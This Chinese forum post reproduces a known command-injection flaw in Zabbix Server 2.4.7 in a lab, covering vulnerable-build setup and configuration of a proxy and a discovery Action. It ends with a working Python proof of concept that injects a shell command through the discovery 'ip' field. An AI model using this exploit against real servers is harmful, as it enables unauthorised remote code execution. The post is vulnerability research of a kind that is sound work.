×

微信扫一扫,快捷登录!

标签: 暂无标签
前言
有点相似Zabbix是一种企业监控解决方案,旨在使组织能够监控其网络中各种系统的健康状况和状态,包括:网络服务,服务器和网络设备。前些日子Lilith Wyatt of Cisco ASIG 发现利用命令注入的形式可以在Zabbix Server上实现远程代码执行,影响的版本为Zabbix 2.4.7 – 2.4.8r1。在复现过程中发现利用条件比较苛刻,首先需要能访问到Zabbix Server监听的10051端口,另外需要配置Proxy,以及相应的Action来自动添加Host,从而达到利用ip参数进行命令注入。

1. 基础工作
下载centos7 用virtualbox进行运行,接下来就是安装php mysql apache等相关基础运行环境。关闭SELinux和防火墙以及启动httpd,mariadb。添加zabbix组和用户,zabbix_server组件默认会用zabbix用户启动
yum install php php-mysql php-gd php-pear mariadb-server mariadbsystemctl start mariadbsystemctl start httpdsystemctl stop firewalld.servicesetenforce 0groupadd zabbixuseradd -g zabbix zabbix

2. 编译安装Zabbix
2.1 下载有漏洞的版本
wget [project/zabbix/ZABBIX%20Latest%20Stable/2.4.7/zabbix-2.4.7.tar.gz](project/zabbix/ZABBIX%20Latest%20Stable/2.4.7/zabbix-2.4.7.tar.gz)
2.2 安装依赖yum install -y curl curl-devel mydql-devel net-snmp snmp net-snmp-devel perl-DBI php-gd php-xml php-bcmath php-mbstring php-ldap php-odbc php-xmlrpc2.3 编译并安装
可以修改--prefix参数来选择安装目录
tar -xvf zabbix-2.4.7.tar.gzcd zabbix-2.4.7/./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --enable-net-snmp --with-libcurl makemake install
2.4 导入数据mysql -uroot>create database zabbix character set utf8 collate utf8_bin;>use zabbix;>source /root/zabbix-2.4.7/database/mysql/schema.sql>source /root/zabbix-2.4.7/database/mysql/images.sql>source /root/zabbix-2.4.7/database/mysql/data.sql
3. 安装Zabbix Web界面3.1 复制PHP文件到web目录mkdir /var/www/html/tcd frontends/phpcp -a . /var/www/html/tcd /var/www/html/tchown apache:apache -R .3.2 修改php.ini
由于访问setup.php时需要符合一定的配置
post_max_size = 16Mmax_execution_time = 300max_input_time = 300date.timezone = Asia/Shanghaiallow_url_fopen = On
3.3 安装前端
访问虚拟机的80端口进行安装,安装后默认登录凭证是Admin/zabbix

4 漏洞复现4.1 添加 proxy
Administration > proxies > Create proxy
记下填写的name
4.2 创建 Action
configuration > action > Event source(Discovery)> Create Action配置好条件和操作,操作为Add host
4.3 触发漏洞
当zabbix_server启动时会监听在10051端口,该端口如果对外开放,攻击者可以利用zabbix协议的command功能调用数据库中特定的脚本,只需要提供interface表中的hostid参数。在调用脚本时,{HOST.CONN}会被替换成表中的ip。由于插入的ip数据没有被过滤则将发生命令注入,严重时可以反弹shell等。默认情况下,未经身份验证(需通过Zabbix授权)的攻击者无法做到这一点。要利用该漏洞还需要以下条件:配置好Action的自动发现功能,该功能可以将恶意的数据插入到interface表(配合Add host操作),从而可以进行命令注入攻击。
import socketimport structimport jsonZABBIX_HOST = "192.168.1.12"ZABBIX_PORT = 10051def send_to_zabbix(data):    client = socket.socket()    client.connect((ZABBIX_HOST,ZABBIX_PORT))    packet = "ZBXD\x01" + struct.pack('<Q', len(data)) + data    client.sendall(packet)    head = client.recv(1024)    if "ZBXD" not in head:        client.close()        return head    pkt_len = struct.unpack('<Q', client.recv(8))    data = client.recv(pkt_len[0])    client.close()    return datadata = """{"request":"command","scriptid":1,"hostid":10107}"""discovery = """{    "request": "discovery data",    "host": "test",    "clock":1485353070,    "data": [        {            "clock":1485353070,            "drule":2,            "dcheck":2,            "type":0,            "ip":";whoami > /tmp/pwned;",                    "dns":"abc.com.cc",            "port":10050,            "key":"zzztest",            "status":0,            "value":"fuck"        }    ]    }"""#利用自动发现功能添加Host#可以‘select * from interface;’ 查看是否自动添加成功print send_to_zabbix(discovery)#利用命令注入进行攻击# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1print send_to_zabbix(data)
hostid添加到interface表后需要自己查看修改。
运行后可以看到生成了/tmp/pwned文件

5. 参考
[url=]documentation/2.4/manual/installation/install[/url][url=]browse/ZBX-12075[/url][url=]documentation/1.8/protocols[/url] [url=]xqzt/p/5126523.html[/url]


原创:星光@TCC Group

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x




上一篇:腾讯的DevOps流水线应用平台之路
下一篇:关于zabbix监控环境搭建讲解(redhat7.2)
monicazhang

写了 2297 篇文章,拥有财富 12859,被 21 人关注

您需要登录后才可以回帖 登录 | 立即注册
B Color Link Quote Code Smilies

成为第一个吐槽的人

Powered by IT 运维管理
返回顶部